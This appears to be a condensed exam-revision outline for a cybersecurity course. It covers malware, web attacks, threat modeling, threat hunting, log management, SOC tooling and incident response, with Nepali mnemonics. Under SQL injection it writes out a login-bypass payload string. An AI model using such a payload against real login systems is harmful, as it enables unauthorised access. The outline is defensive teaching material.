- Steps: prepare, categorize, select, implement, assess, authorize, monitor (Pahilo Chiya Sakera Ilam Aaipugda Aama Murchhit)
- Artefacts: FIPS 199, SP 800-53 baseline, POA&M, ATO
- Rev. 1: 2010, six steps, no Prepare; starting point, system boundaries
- Boil the ocean: finite resources, prioritise by risk, accept residual, iterate
- High water mark: FIPS 200
Policy hierarchy PREDICTED
- Documents: policy, standard, baseline, guideline (advisory), procedure; the rest mandatory
- Frameworks: PCI DSS requirement 3, encryption policy, DES, AES, RSA, procedures
- Policy cost: cheapest control, hardest to implement; commitment, change, practicality, end users
- Shaping rules: lawful, court-proof, supported, useful, end users involved
- Examples: acceptable use, breach response, DRP, BCP, remote access, access control, password
- Need: consistency, compliance, commitment, legal protection, incident response
Due care and due diligence PREDICTED
- Due care: prudent action, do correct
- Due diligence: investigation, verification, do detect
- Negligence: duty, breach, causation, damages
- Hand formula: B less than P × L
- Case: Equifax 2017, Apache Struts, 147 million
Chapter 2: Malware and cyber attacks
Malware and its families PREDICTED
- Definition: malicious code, payload against confidentiality, integrity, availability
- Split: needs a human (virus, Trojan), spreads itself (worm), installed after compromise (rootkit, back door)
- Types: virus, worm, Trojan, ransomware, logic bomb, botnet, spyware, adware, rootkit, back door
- Mnemonic: VIP Waiter Thamelma Rakshi Lukaera Bechyo; Saathi Aayera Ramrari Bajaayo
- In the SOC: anti-malware and IPS log events into the SIEM
- SIEM alerts: McAfee CEF over syslog, Cisco Firepower Snort rule, Bitdefender JSON
Viruses PREDICTED
- Functions: propagation, destruction
- Techniques: MBR (Michelangelo, Petya), file infector (companion game.com), macro (VBA, Melissa), service injection
- Macro steps: delivery, execution (Enable Content), infection (Normal.dotm), spread (50 Outlook contacts)
- Technologies: multipartite (Marzia), stealth, polymorphic, encrypted, metamorphic
- Mnemonic: Mama Sasurali Pugera Eklai Mutyo
Worms PREDICTED
- Definition: standalone, self-propagating, no human action, exponential
- Morris 1988: sendmail, finger overflow, rsh and rexec, weak passwords; 10% of 60,000; CFAA
- Code Red 2001: IIS overflow, random IP scanning, Hacked By Chinese, White House logic bomb
- Later: SQL Slammer 2003 (376 bytes, 75,000 hosts), WannaCry 2017 (EternalBlue, MS17-010)
Virus, worm and Trojan compared PREDICTED
- Trojan: appears benevolent, hidden payload, no replication
- Trojan examples: Xbox Trojan 2002, rogue antivirus, Dridex, Emotet
- Compare: primary function, host file, propagation, replication, speed, payload, example
- Blends: WannaCry (ransomware worm), Emotet
Logic bombs, botnets, spyware, adware PREDICTED
- Logic bomb: dormant until trigger; Michelangelo 6 March; insider bombs
- Botnet stages: infection, connection, control, multiplication
- Botnet parts: bots (zombies), botmaster, C2 server; centralised or P2P (FritzFrog)
- Botnet uses: DDoS, spam, data theft, mining (Prometei, FritzFrog P2P, Monero XMR), Mirai (Dyn)
- Others: spyware, adware (ad revenue), Taidoor RAT (Chinese APT)
- MageCart steps: penetrate, distribute, shop, scrape, collect; Magento CVE-2016-4010
Ransomware and the extortion ladder HOT 1/4
- Chain: gain access, delete shadow copies, encrypt, demand
- Families: WannaCry, Petya, NotPetya, EvilQuest, Ryuk; COVID-19 surge, healthcare targeted
- Survey 2025: 73.4 hit, 62.7 paid, 28.8 of payers lost data, 87.9 of refusers recovered
- RaaS: operators, affiliates, shared ransom; REvil (Sodinokibi), GandCrab
- Ladder: single (encrypt), double (exfiltrate, leak), triple (DDoS), quadruple (customers)
- Ukraine wiper: DEV-0586, Cadet Blizzard, MBR overwrite, 0xCC corrupter, fake ransom note
Ryuk chain, prevention, recovery PREDICTED
- Ryuk chain: phishing email, Word macro, PowerShell, Emotet, TrickBot, C2, Ryuk
- Prevention: awareness, risk analysis, risk management, access control, business associate agreements
- Technical: patching, MFA, no exposed RDP, EDR, allowlisting
- Recovery: 3-2-1 backups, offline copy, DR plan, emergency mode, test restores, criticality analysis
- IR steps: prepare, detect and analyse, contain, eradicate, recover, post-incident
Propagation routes PREDICTED
- Need a human: email attachments and links, drive-by downloads, removable media, file sharing
- Need a weakness: vulnerable services, weak or default credentials, shares and admin tools
- Trusted channel: trojanised software and signed updates (SolarWinds)
- Inside a network: lateral movement (PsExec, WMI, admin shares)
Advanced persistent threats PREDICTED
- APT: advanced, persistent, threat (intent, opportunity, capability)
- Preparation: define target, accomplices, tools, research, test for detection
- Intrusion: deployment, initial intrusion, outbound connection, credentials, foothold
- Mission: exfiltrate data, cover tracks
- Groups: Taidoor, APT28, APT29, HAFNIUM, Cadet Blizzard
Supply chain compromise PREDICTED
- Definition: trusted supplier's product carries the attack
- SolarWinds: SUNBURST, Orion, signed updates March to May 2020, 300,000 customers, under 18,000 installs
- SolarWinds extras: SUNSPOT build implant, two weeks dormant, DNS C2, APT29 (SVR)
- Stuxnet steps: infection, search, update, compromise, control, deceive and destroy
- Stuxnet spread: USB, admin shares, Server and Print Spooler zero-days, default database password
Social engineering and phishing PREDICTED
- Levers: authority, urgency, fear, trust, curiosity
- Types: phishing, spear phishing, whaling, vishing, smishing, quishing, pretexting, baiting, tailgating, dumpster diving
- Mnemonic: Pradhan Sir Whisky Vodka Sanga Quarter Piyera Busma Thakera Dhalkiyo
- Indicators: urgency, look-alike sender, strange links, odd hours, unexpected attachment, generic greeting
- Barriers 2025: skilled personnel, employee awareness (3.55 each), too much data, automation, context
- Counters: training, simulations, SPF, DKIM, DMARC, second channel, phishing-resistant MFA
DoS, DDoS and floods PREDICTED
- DoS vs DDoS: one source vs many (botnet)
- DRDoS: reflected, amplified, attacker hidden
- Floods: smurf (ICMP broadcast), fraggle (UDP 7, 19), ping flood, SYN flood, HTTP flood
- Smurf steps: spoof victim IP, broadcast echo request, all hosts reply, victim flooded
- Mitigation: drop directed broadcasts, BCP 38, rate limiting, SYN cookies, scrubbing, CDN
IDS and IPS PREDICTED
- IDS vs IPS: passive alert vs inline block
- Methods: knowledge-based (signature), behavior-based (anomaly, false alarms)
- Placement: HIDS, NIDS
- Errors: false positive, false negative (worse)
- Tools: Snort, Suricata, OSSEC, Wazuh
Man in the middle PREDICTED
- Phases: interception (position), decryption (readability)
- Interception: ARP spoofing, DNS spoofing, evil twin, DHCP spoofing, BGP hijack
- Decryption: SSL stripping, fake certificates, cipher downgrade
- Defences: dynamic ARP inspection, DHCP snooping, 802.1X, VPN, HSTS preload, pinning
Zero-day and the Exchange case COURSE
- Terms: zero-day vulnerability, exploit, attack
- Windows: unknown vulnerability, window of exposure, window of vulnerability
- Exchange 2021: ProxyLogon, HAFNIUM, SSRF, insecure deserialisation, file write, web shells, NTDS.dit
- CVE row: CVE ID, CVSS bands (critical, high, medium, low), CWE flaw type
- Detection: EDR, file integrity monitoring, SIEM web logs, egress, UEBA, threat hunting
- Patch limits: web shells, stolen credentials, rebuild AD, krbtgt reset twice
Password attacks PREDICTED
- Attacks: guessing, dictionary, brute force, spraying, credential stuffing, rainbow tables
- Split: online (lockout) vs offline (stolen hashes)
- Keyspace: 8 lowercase in seconds, 8 printable in days, 16 lowercase over 100,000 years
- Defences: MFA, breached-password screening, lockout, salted slow hashing, event 4625 alerts
- Standards: ATT&CK T1110, NIST SP 800-63B
Application attacks TOP 2/4
- Buffer overflow: stack buffer, saved frame pointer, return address, shellcode
- Overflow defences: bounds checks, safe functions, canaries, ASLR, DEP, memory-safe languages
- TOCTOU: check, gap, use; bank transfer race; atomic operations, locks
- Back doors: maintenance hooks, web shells
- Rootkits: user mode, kernel, bootkit, firmware; LoJax (UEFI, APT28); UEFI replaced BIOS
Cross-site scripting TOP 3/4
- Reflected: URL parameter, echoed, one victim per click
- Stored: database, every visitor
- DOM-based: client script, location.hash, innerHTML, server never sees
- DOM workflow: crafted URL, request, clean response, page script inserts payload, script runs, data out
- Mitigations: output encoding, validation, CSP, safe DOM APIs, sanitisation, Trusted Types
- Cookies: HttpOnly, Secure, SameSite
Cross-site request forgery TOP 2/4
- Trust: site trusts the browser (XSS: user trusts the site)
- Example: forged bank transfer link, image tag
- Deck figure: login, validation token, forged request, victim forwards, bank executes
- Defences: anti-CSRF token, Origin and Referer check, SameSite, no GET changes, re-authentication
- Names: CSRF, XSRF, session riding, one-click attack
SQL injection TOP 2/4
- Login bypass: ' OR '1'='1' --
- Types: error-based, UNION-based, blind boolean, blind time-based, out-of-band
- Defences: prepared statements, input validation, least privilege, generic errors
- Versus reflected XSS: server and database vs browser and user
The four web vulnerabilities TOP 2/4
- Four: XSS, XSRF, buffer overflow, SQL injection
- Trusts: user in site, site in browser, input fits, parameters stay data
- Practices: input validation, output encoding, parameterised queries, tokens, session hardening, CSP, memory safety, least privilege, quiet errors, testing
- Mnemonic: Ishwor Oralo Pasalma Tin Samosa Chorera, Mukhiyale Lathale Ekdam Thokyo
- Process: code review, SAST, DAST, penetration testing, WAF, patching
- CERT secure coding: validate input, compiler warnings, keep it simple, default deny, defence in depth
Reconnaissance attacks PREDICTED
- Kinds: passive (OSINT, WHOIS, Shodan), active
- Order: IP probe, port scan, vulnerability scan
- Port scans: TCP connect, SYN half-open, UDP; open, closed, filtered
- Tools: Nmap, Nessus, OpenVAS, Qualys, Core Impact, Nexpose
- Defence: block ICMP, close ports, IDS scan rules, honeypots, patch first
Masquerading attacks PREDICTED
- IP spoofing filters: no internal sources inbound, no external outbound, no private either way
- Standard: BCP 38 ingress filtering
- Session hijacking: captured authentication, middleman, unclosed session, XSS theft, fixation
- Defences: HTTPS, HSTS, new session IDs, HttpOnly, Secure, SameSite, timeouts
Specific preventive measures PREDICTED
- Deception: honeypot, honeynet, pseudo flaw, padded cell, warning banner
- Legal line: enticement, not entrapment
- Blocking: anti-malware (signatures, heuristics), allowlisting, firewalls, sandboxing
- Testing: third-party services; black, white, gray box penetration tests
Logging, monitoring and auditing PREDICTED
- Monitoring: audit trails, accountability, sampling, clipping levels, keystroke monitoring
- Traffic: trend analysis, egress monitoring
- DLP: network-based, endpoint-based
- Audits: privileged groups, dual admin accounts, patch, vulnerability, configuration, change management
Security best practice PREDICTED
- Technical: anti-malware, patching, disable sharing, least privilege, firewalls, attachment blocking
- People: phishing training, hover over links, report suspicious email
- Remote work: secure Wi-Fi, firmware, split network, 2FA, avoid public Wi-Fi; organization and individual effort
- Organisation: zero trust, microsegmentation, SOAR, backups, threat intelligence
- NCSC 10 Steps: risk regime plus nine areas
Chapter 3: Cyber threat modeling and threat hunting
Threat intelligence HOT 1/4
- Definition: evidence-based knowledge, context, indicators, actionable advice, inform decisions (Gartner, 2013)
- Ladder: data, information, intelligence
- Four reasons: proactive defense, threat identification, discovery of unknowns, targeted hunting (specified threat hunting)
- Users: leadership, SOC, vulnerability management, incident response, hunters
Three types of intelligence PREDICTED
- Strategic: board, CISO; months to years; reports; investment
- Operational: SOC manager, IR; days to weeks; campaigns, TTPs
- Tactical: analysts, SIEM, firewall, EDR; real time to hours; IoCs, STIX/TAXII
- Deck scenario: TA577 and Qakbot, EMEA finance, March 2024; Lazarus report, ADP and Workday lure, IoC feed with YARA rule
- Bank examples: APT41 and SWIFT, LockBit VPN flaw, 200 IPs at 02:00; NIC Asia Bank 2017
Pyramid of Pain PREDICTED
- Author: David Bianco, 2013
- Levels upward: hash values, IP addresses, domain names, network and host artifacts, tools, TTPs
- Pain upward: trivial, easy, simple, annoying, challenging, tough
- Moving up: costly to change, generalizes, lasts longer, ATT&CK
Intelligence lifecycle PREDICTED
- Phases: planning and direction, collection, processing, analysis, dissemination, feedback
- Planning: PIRs, sources, consumers, deadlines
- Processing: parse, normalize, deduplicate, filter, translate, enrich
- Failures: skipping planning, collecting everything, raw data to analysts, no stated confidence, one format, feedback optional
- Conventions: Admiralty code A to F and 1 to 6; TLP RED, AMBER+STRICT, AMBER, GREEN, CLEAR
- Mnemonic: Pujari Chiya Piudai Aafno Dhoti Fyaakyo
Sources and sharing PREDICTED
- Sources: OSINT, commercial feeds, government and ISACs, internal telemetry, human
- Standards: STIX objects, TAXII transport, MISP, OpenCTI, TIP
- SIEM use: field mapping, enrichment
- Quality: relevant, timely, accurate, actionable; defanged indicators
Threat modeling PREDICTED
- Four questions: what are we building, what can go wrong, what will we do, did we do well
- Proactive: design, data flow diagram, STRIDE, SDL, SD3+C
- Reactive: penetration testing, ethical hacking, code review, fuzz testing
Threat modeling process PREDICTED
- Six steps: assets, architecture overview, decompose, identify threats, document, rate
- Reduction analysis: trust boundaries, data flow paths, input points, privileged operations, security stance
- Identify threats: asset, attacker or software focused
- Notes' four steps: identify threats, determine and diagram attacks, reduction analysis, remediation
- Also: attack trees with AND and OR; attack surface
STRIDE TOP 3/4
- Origin: Microsoft, Kohnfelder and Garg, 1999
- Letters: spoofing, tampering, repudiation, information disclosure, denial of service, elevation of privilege
- Properties: authentication, integrity, non-repudiation, confidentiality, availability, authorization
- Per element: external entity S, R; process all six; data store T, I, D; data flow T, I, D
DREAD HOT 1/4
- Letters: damage potential, reproducibility, exploitability, affected users, discoverability
- Scales: 1 to 10 averaged; 1 to 3 summed, 12 to 15 high, 8 to 11 medium, 5 to 7 low
- Criticism: subjective; discoverability rewards obscurity
PASTA TOP 2/4
- Authors: UcedaVelez and Morana, 2012
- Stages: objectives, technical scope, decomposition, threat analysis, vulnerability analysis, attack modeling, risk and impact analysis
- Nature: risk-centric; business in, business impact out; attack trees
- Mnemonic: Oi Sasu, Daal Tato Vayena, Aba Ruwauchhu
Cyber Kill Chain TOP 4/4
- Origin: Lockheed Martin; Hutchins, Cloppert and Amin, 2011
- Stages: reconnaissance, weaponization, delivery, exploitation, installation, C2, actions on objectives
- Courses of action: detect, deny, disrupt, degrade, deceive, destroy
- Aids: detection, response, mitigation; mitigating by training, email filters, patching, allow-listing, egress rules
- Limits: linear, malware-centric, weak on insiders; Unified Kill Chain, 18 phases
- Mnemonic: Ramesh WiFi Dekhera Ekdam Ijjat Chhodera Aaipugyo
MITRE ATT&CK HOT 1/4
- Levels: tactics (why), techniques and sub-techniques (how), procedures
- Enterprise tactics: 15 since version 19 (2026), 14 before; Stealth and Defense Impairment
- Matrices: Enterprise, Mobile, ICS
- Uses: modeling input, red teaming, gap analysis, detection engineering, IR, intelligence, common language
- IDs: TA0001, T1566.001, T1059.001, T1547.001, T1003.001, T1041
- Deck snapshot: Execution, Persistence, Exfiltration; T1059 hunted as Word spawning PowerShell
Threat hunting HOT 1/4
- Definition: proactive, human-led, evaded defenses, assume breach
- Figures: ransomware up 105%, breach 4.24 million dollars, dwell time 21 days
- Helps: finds what tools miss, shrinks dwell time, reveals gaps, improves detection
- Prerequisites: visibility, baseline, analysts, intelligence, time, buy-in, methodology
Hunting lifecycle PREDICTED
- Loop: trigger or hypothesis, investigate, uncover, respond, inform
- Notes steps: data sources, data quality, baseline, threat reports, hypothesis, post-hunt
- Results: threat found, nothing found, visibility gap
Hunting approaches PREDICTED
- Deck: hypothesis-driven, intelligence-driven, analytics-driven
- Notes hypotheses: awareness-based, intelligence-based, analytics-driven
- Notes methods: unstructured (IoC), structured (IoA, TTPs), situational or hypothesis-driven
- Notes examples: C2 hidden in TLS, User-Agent string stacking
PEAK PREDICTED
- Name: Prepare, Execute, Act with Knowledge; Splunk SURGe, Bianco, 2023
- Hunt types: hypothesis-driven, baseline, model-assisted (M-ATH)
- ABLE: actor, behavior, location, evidence
Diamond Model PREDICTED
- Authors: Caltagirone, Pendergast, Betz, 2013
- Corners: adversary, capability, infrastructure, victim
- Meta features: timestamp, phase, result, direction, methodology, resources
- Axes: social-political, technology
- Use: pivoting, activity threads, activity groups
Hunting Maturity Model PREDICTED
- Origin: Sqrrl, David Bianco, 2015
- Levels: HMM0 initial, HMM1 minimal, HMM2 procedural, HMM3 innovative, HMM4 leading
- Graded by: data collected, analysis
- Top level: automates successful hunts
- Mnemonic: Ishwor Maama Panipuri Itaharima Lukaunubhayo
IoCs and IoAs PREDICTED
- IoC: evidence, retrospective; hash, IP, domain, registry key
- IoA: intent, real time, behavior sequences
- Kinds: atomic, computed, behavioral, TTP
- Where found: network, host, file, email, account
- Life: discover, validate, share, consume, retire
Finding anomalies PREDICTED
- First: baseline per entity, time, peer group
- Kinds: point, contextual, collective
- Techniques: searching, clustering, grouping, stacking
- Signals: standard deviations, rarity, entropy, beaconing, impossible travel, peer comparison
The hunter's toolkit PREDICTED
- Data: SIEM, EDR, NetFlow, Zeek, DNS, proxy, Sysmon, cloud logs
- Event IDs: 4624, 4625, 4688; Sysmon 1, 3, 10, 22; PowerShell 4104
- Tools: SIEM, EDR, osquery, YARA, Sigma, Zeek, ATT&CK Navigator, VirusTotal
- Skills: hypotheses, queries, scripting, OS internals, networking, statistics
- Notes: MDR, SIEM, security analytics, EDR; memory dumps, disk images
Hunting queries PREDICTED
- SIEM: label filter, pipe, chart count by; pivot hash, user, IP, C2
- YARA: meta, strings, condition; survives variants
- Osquery: SQL tables; processes joined on parent
- Sigma: YAML; logsource, detection, condition; Roth and Patzke, 2017
Playbook and report PREDICTED
- Playbook: hypothesis, ATT&CK techniques, data sources, query, expected findings, escalation path
- Audiences: technical team, executives
- Report sections: hypothesis and scope, methodology, findings, impact, remediation, lessons
Four worked hunts PREDICTED
- Scenario 1: file hash, Rita, source IP, C2 list; disable accounts, block IP
- Scenario 2: Word, PowerShell, PsExec, baseline; isolate hosts, reset credentials
- Scenario 3: DNS entropy, NetFlow; block domain, isolate host
- Scenario 4: UEBA, 2 AM, VPN, DLP; HR and Legal, evidence
- Shape: trigger, data, progression, correlated, inferred, outcome
Chapter 4: Log management, data visualization and security monitoring
What a log is COURSE
- Definition: timestamped record of events, systems, applications, network devices
- Entry fields: when, who, what and outcome, from where, host, event type
- Terms: event, log entry, log, alert, incident
- Website hack evidence: access log, error log, CMS log, database log, firewall and NetFlow, OS logs, event 1102
- Facebook hack: sessions, login history, alert emails, own devices, timeline, cause, contain, report
- Protection: central copy, integrity, ATT&CK T1070.001, insider case
Log management PREDICTED
- Definition: gathering, storing, processing, synthesizing, analyzing log data
- NIST definition: generating, transmitting, storing, analyzing, disposing
- Six reasons: detect hackers, troubleshoot, monitor, compliance, forensics, performance
- Five benefits: unified storage, improved security, observability, customer experience, faster troubleshooting
- Challenges: volume, variety, noise, clocks, privacy, coverage gaps
- Payoff: real-time insights, system health, operations
Functions of log management PREDICTED
- Seven functions: collection, monitoring, analysis and correlation, enrichment, retention, indexing or search, reporting
- NIST tiers: log generation, analysis and storage, monitoring
- NIST functions: general, storage, analysis, disposal
- SIEM adds: normalization, enrichment, real-time correlation, alerts, SOC users
- Mnemonic: Chhuchhi Mausi Aayera Ekai Raat Inar Rittyain
Nine types of log HOT 1/4
- Access: authentication, authorization
- Host and app: system, application, database
- Network and assurance: network, firewall; security, audit
- Mnemonic: Ankal Aafno Saathi Aaunda Nashama Fridge Dhalera Sutnubhayo Aanganma
- Pairs: authentication against authorization, security against audit, network against firewall
- Other sources: endpoints, switches, routers, servers, mail servers, IoT, printers
Log sources by layer COURSE
- Deck path: Internet, firewall, router, web server, database, users
- Operating systems: Windows event logs, syslog, auth.log, secure, journald, auditd
- Applications: web servers, databases, mail, ERP, custom code
- Network devices: firewall, router, switch, IDS, IPS, proxy, VPN, DNS, DHCP
- Cloud: CloudWatch, Azure Monitor, CloudTrail, Azure Activity Log, GCP Audit Logs, Kubernetes audit, CSPM, CIEM, CWPP findings
- Cloud problems: volume and cost, fragmented ownership, no perimeter, shared responsibility
Windows event IDs PREDICTED
- Event Viewer: Application, Security, Setup, System, Forwarded Events; Custom Views, Subscriptions
- Fields: log name, source, event ID, level, user, logged, task category, keywords, computer
- Logon: 4624 (types 2, 3, 10), 4625, 4634, 4647, 4648, 4672
- Changes: 4688 process, 4720 account, 4728, 4732 group, 4740 lockout
- Tampering: 1102 log cleared, 7045 service installed
- Sysmon: 1 process, 3 network, 11 file, 22 DNS
Collection and aggregation PREDICTED
- Agent based: reads, filters, buffers, encrypts, forwards
- Agentless: syslog push, WEF, WMI, APIs, database queries
- Transport: UDP 514, TCP, TLS 6514, HTTPS APIs
- Aggregation jobs: tiered collectors, NTP and UTC, filtering, deduplication, tagging, queueing
- Health: silent source alert, EPS baseline
Log formats and parsing PREDICTED
- Parsing: raw entry into named fields, regex
- Syslog: RFC 3164, RFC 5424, PRI = facility × 8 + severity
- Severities: emergency, alert, critical, error, warning, notice, informational, debug; Euta Aalsi Chaukidar Eklai WiFi Nabhai Ishwor Dekhyo
- CEF: seven field header, key=value extensions
- Others: LEEF, JSON, Windows EVTX XML, Combined Log Format
- Risk: silent parser failure, unparsed rate
Log retention PREDICTED
- Reasons: late discovery, retro hunting, compliance, evidence, baselines
- Rules: PCI DSS 12 months (3 immediate), CERT-In 180 days, ETA 2008
- Limits: cost, GDPR storage limitation, Privacy Act 2018
- Deciding factors: law, contracts, investigation reach, log value, cost, privacy
- Tiers: hot, warm, cold or archive, disposal
- Integrity: hashes, WORM, access control, separation of duties, chain of custody
Analysis, correlation and enrichment COURSE
- Analysis: one source, faults and threats, search, patterns, statistics, baselines
- Correlation: many sources, shared key, time window
- Deck exercise: Mary normal, Admin 37 failures investigate, printer routine
- Enrichment: threat intelligence verdict, asset, identity, GeoIP, DNS
- Enrichment gains: severity, joins, fewer false positives, analyst time
- IoCs sought: malicious IPs, domains, file hashes, URLs, registry keys, user agents
Correlation rules and use cases PREDICTED
- Rule types: single event, threshold, sequence, cross source, absence, TI match, statistical
- Example rule: 30 failures in 10 minutes, then 4624, one alert
- Use cases: brute force, spraying, impossible travel, new admin, C2, exfiltration, leaver account
- Lifecycle: threat, data, rule, test, tune, playbook, review
- Tuning: false positives, false negatives, alert fatigue, Sigma
SIEM and its architecture HOT 1/4
- Definition: SIM plus SEM, Gartner 2005
- At a glance: normalization, storage, analytics
- Uses: security, compliance, operations, business analytics
- Five stages: collection, normalization, correlation, storage, reporting
- Limits: costly, complex, resource intensive, in-house expertise
- Blind spots covered: endpoint security, network security, data and application security
SIEM processing pipeline PREDICTED
- Stages: devices, forwarded logs, collect, parse, normalize, enrich, route, store
- Processing policy: normalization, enrichment, routing policies per log source
- Normalize: common field names, UTC, labels
- Route: repository, retention period, drop noise
- Enrich: TI verdict, asset criticality, job title, GeoIP
- Mnemonic: Dami Chor Pasalma Nachyo, Ekchhin Royo, Samatiyo
Security data visualization PREDICTED
- Jobs: detection, investigation, communication
- Charts: time series, top N, heat map, geographic map, pie, histogram, scatter, link graph, timeline
- Mantra: overview, zoom and filter, details on demand
- Marty process: problem, data, processing, visual transformation, view transformation, decide
- Pitfalls: linear scale, truncated axes, colours, 3D
Security dashboards PREDICTED
- Definition: Stephen Few, one screen, at a glance
- Readers: analyst, manager, executive, auditor, hunter
- Measures: MTTD, MTTR, EPS, source health, false positive rate
- Principles: one purpose, urgent top left, few panels, context, right chart, colour, drill down, actionable
Chapter 5: Emerging technologies in security operations
The SOC toolset HOT 1/4
- Tools: SIEM, SOAR, UEBA, EDR, NDR, XDR
- The chain: too many logs, SIEM; too many alerts, SOAR; misused logins, UEBA; fileless attacks, EDR; agentless devices, NDR; separate consoles, XDR
- SOC: people (tiers 1, 2, 3, manager, CISO), process, technology
- Four jobs: see, understand, unify, act, then feedback
- Notes framing: no single tool; an ecosystem of deep visibility, behavior analysis, automated response
- Posture gains: visibility, MTTD, MTTR, dwell time, consistency, analyst focus, evidence
SIEM features and next generation TOP 2/4
- Role: central brain; aggregate, store, analyze; single pane of glass; SIM plus SEM, Gartner, 2005
- Features: collection, normalization, correlation, enrichment, alerting, search, dashboards, compliance reports, case management, retention
- Mnemonic: Chhoro Chiya Eklai Aaphai Sakaayo; Didi Runchhin: Ijjat Raakha
- Deck examples: Rita, failed logins, C2 list; top 10 breach events donut; Action flow to C2, exploit, egress, tooling
- Next generation: UEBA, ML, cloud data lake, EDR and cloud telemetry, SOAR response, ATT&CK content
- Limits: logged data only, volume cost, tuning, false positives, expertise
SOAR TOP 2/4
- Role and functions: connective tissue; orchestration (APIs), automation (playbooks), response (cases)
- Origin: alert fatigue; SOA, SIRP and TIP merged (Gartner)
- Features: playbook builder, integration library, case management, human approval, metrics; run list: pending, succeeded, failed
- Deck payoff: firefighting to structured control; no analyst click; disable, block, isolate; hours to seconds
- IBM 2024: about USD 2.2 million lower breach cost with AI and automation
- Risks: wrong action at machine speed, playbook upkeep, automated chaos
SOAR phishing playbook PREDICTED
- Parts: trigger, observables, enrichment, decisions, actions, approval gates, closure
- Phishing steps: trigger, extract, enrich, decide, scope, approve, contain, close
- Mnemonic: Thulo Engineer Ekdam Drunk Sutyo, Aanganma Chhepare Chatyo
- Enrich and contain: threat intelligence, reputation, sandbox, domain age, SPF, DKIM, DMARC; purge mailboxes, block sender and URL, isolate host, reset passwords, revoke sessions
- MTTR: detection to containment, averaged over incidents
- Deck playbook: AD and IP enrichment, blocklist, isolation, ServiceNow ticket (format the endpoint), report to SOC manager, CISO, IT manager
UEBA HOT 1/4
- Definition: per-user and per-entity baselines, peer groups, statistical deviations; abnormal and potentially dangerous behavior
- Steps: collect, baseline, detect, score, investigate
- Example: mean 40, sigma 10, today 400, z 36
- Deck screen: matrix of anomalies, top risky users (98, 59, 55, 53), anomalies in words, 1.31 GB by POST
- Use cases: compromised account, impossible travel, insider theft, privilege abuse, lateral movement, service account misuse
- Limits: learning period, poisoned baseline, false positives, explainability, privacy
EDR HOT 1/4
- Notes features: behavioral recording, suspicious activity detection, incident containment, investigation
- Records: process starts, command lines, parents, files, registry, connections, logons, drivers
- Response: isolate host (AgentX, from the detection), kill process, quarantine, remove persistence, block hash, roll back, live response
- Example: winword.exe, powershell.exe, PsExec.exe, two new servers
- Versus antivirus: behavior over signatures, history, investigation, response; MDR
- Limits: agent needed, one host, agent killers, skilled triage
NDR PREDICTED
- Definition: packets, flows, metadata; behavioral models; alert, block, quarantine
- Directions: north-south (perimeter), east-west (device to device)
- Collection: SPAN ports, taps, NetFlow, IPFIX, Zeek, cloud flow logs
- Detections: beaconing, DNS tunneling, lateral movement, exfiltration, living-off-the-land activity, JA3 fingerprints, packet timing
- Use cases: C2 in encrypted traffic, agentless servers, rogue devices; deck screen: AI Detect, AI Prevent (1,149 blocked), 724 assets
- Limits: no host view, encrypted payloads, remote and cloud gaps, false alarms
XDR HOT 1/4
- Definition: evolution of EDR; native correlation across endpoint, network, email, cloud, identity; one incident
- Origin: silos, console pivoting; Nir Zuk, Palo Alto Networks, 2018
- Steps: data consolidation (email, cloud, IAM, firewall, NTA, IPS, EDR), data lake, cross-platform correlation, one incident, response everywhere
- Example chain: phishing link, new-country sign-in, PowerShell, SMB, cloud upload
- Types: native (closed), open (hybrid)
- Versus SIEM: pre-tuned, quick setup; SIEM for retention, compliance, any vendor
SOC visibility triad TOP 2/4
- Legs: SIEM (logs), EDR (endpoint), NDR (network)
- Origin: Anton Chuvakin, Gartner, 2015, SOC nuclear triad; NTA now NDR
- Blind spots: SIEM, logged data only; EDR, network and agentless devices; NDR, inside hosts, encrypted payloads
- Integration gains: complementary blind spots, corroboration, survives evasion, fewer false positives, complete investigation
- Deck extra: fourth node, data and application security
Integration and use cases PREDICTED
- Loop: data in, context, common language, actions out, feedback; notes' four steps: EDR and XDR feed SIEM, UEBA context, SIEM alerts SOAR, SOAR acts
- Standards: STIX, TAXII, ATT&CK technique IDs, normalized schema
- Worked chain: UEBA, EDR, NDR, SIEM, XDR, SOAR, lessons
- Use cases: phishing, ransomware, compromised account, insider theft, lateral movement, C2, cloud takeover, compliance
- Nepal case: NIC Asia Bank SWIFT fraud, Tihar 2017, about USD 4.4 million
- Challenges: cost, integration effort, data quality, alert fatigue, skills, automation risk, lock-in, privacy
Cloud security monitoring PREDICTED
- Shared responsibility: provider secures the cloud, customer secures what is in it; IaaS, PaaS, SaaS split
- Audit logs: AWS CloudTrail, Azure Activity Log, Google Cloud Audit Logs
- Other sources: CloudWatch, Azure Monitor, Cloud Logging, Kubernetes audit logs, flow logs, Microsoft 365 audit
- Posture tools: CSPM, CIEM, CWPP, CNAPP
- Challenges: volume and cost, fragmented ownership, no perimeter, responsibility gaps, ephemeral resources
- Case: Capital One 2019, SSRF, IAM role credentials, S3 data events
Virtual CISO PREDICTED
- Definition: part-time, remote or retained CISO as a service; fractional CISO
- Drivers: cost, talent shortage, compliance, interim cover, objectivity, NIST CSF 2.0 Govern
- Services: strategy, risk, policy, compliance and audit, incident readiness, SOC oversight, third-party risk, awareness, reporting
- Models: fractional, retainer, project, interim
- Limits: availability, business context, contractual accountability, confidentiality
- Mnemonic: Sano Raju Pasalma Chips, Ilaichi, Sel Tokera Aamasanga Ruyo
Post-quantum cryptography TOP 2/4
- Threats: Shor breaks RSA, DH, ECC; Grover halves AES; AES-256 safe
- Why now: harvest now decrypt later, Mosca, migration takes years, standards final, government deadlines, long-lived products, cheap to start, market demand
- Mnemonic: Hackerle Mobile Message Saachyo, Gaadimaa Laptop Chhodyo, Mutyo
- Mosca: ; example 10 plus 7 is 17, over 15
- Standards and dates: FIPS 203 ML-KEM, 204 ML-DSA, 205 SLH-DSA (August 2024); HQC (March 2025); CNSA 2.0, 2035; NIST IR 8547, deprecate 2030, disallow 2035
- Shipping: Chrome, Cloudflare, Signal PQXDH, iMessage PQ3, OpenSSH 9.0 and 10.0
Chapter 6: Incident detection and response
Events, attacks and incidents PREDICTED
- Levels: event, adverse event, attack, alert, incident
- Incident: event harming CIA (course); policy violation or imminent threat (NIST)
- Valid attack: directed at assets, realistic chance of success, threatens CIA
- Signs: precursor (may happen), indicator (has happened)
- Detection step: who reported, when (GMT), how, seen before (register), valid or false positive
- Validation: true positive, false positive, false negative, true negative
Types of incident PREDICTED
- Data out: insider data theft, sensitive data leak, breach, trade secret leak
- Attackers in: phishing, third-party vendor, ransomware, malware
- NIST examples: botnet DDoS, SaaS admin credentials, ICS shutdown, ransomware with theft, phishing fraud, appliance zero-day, vendor software
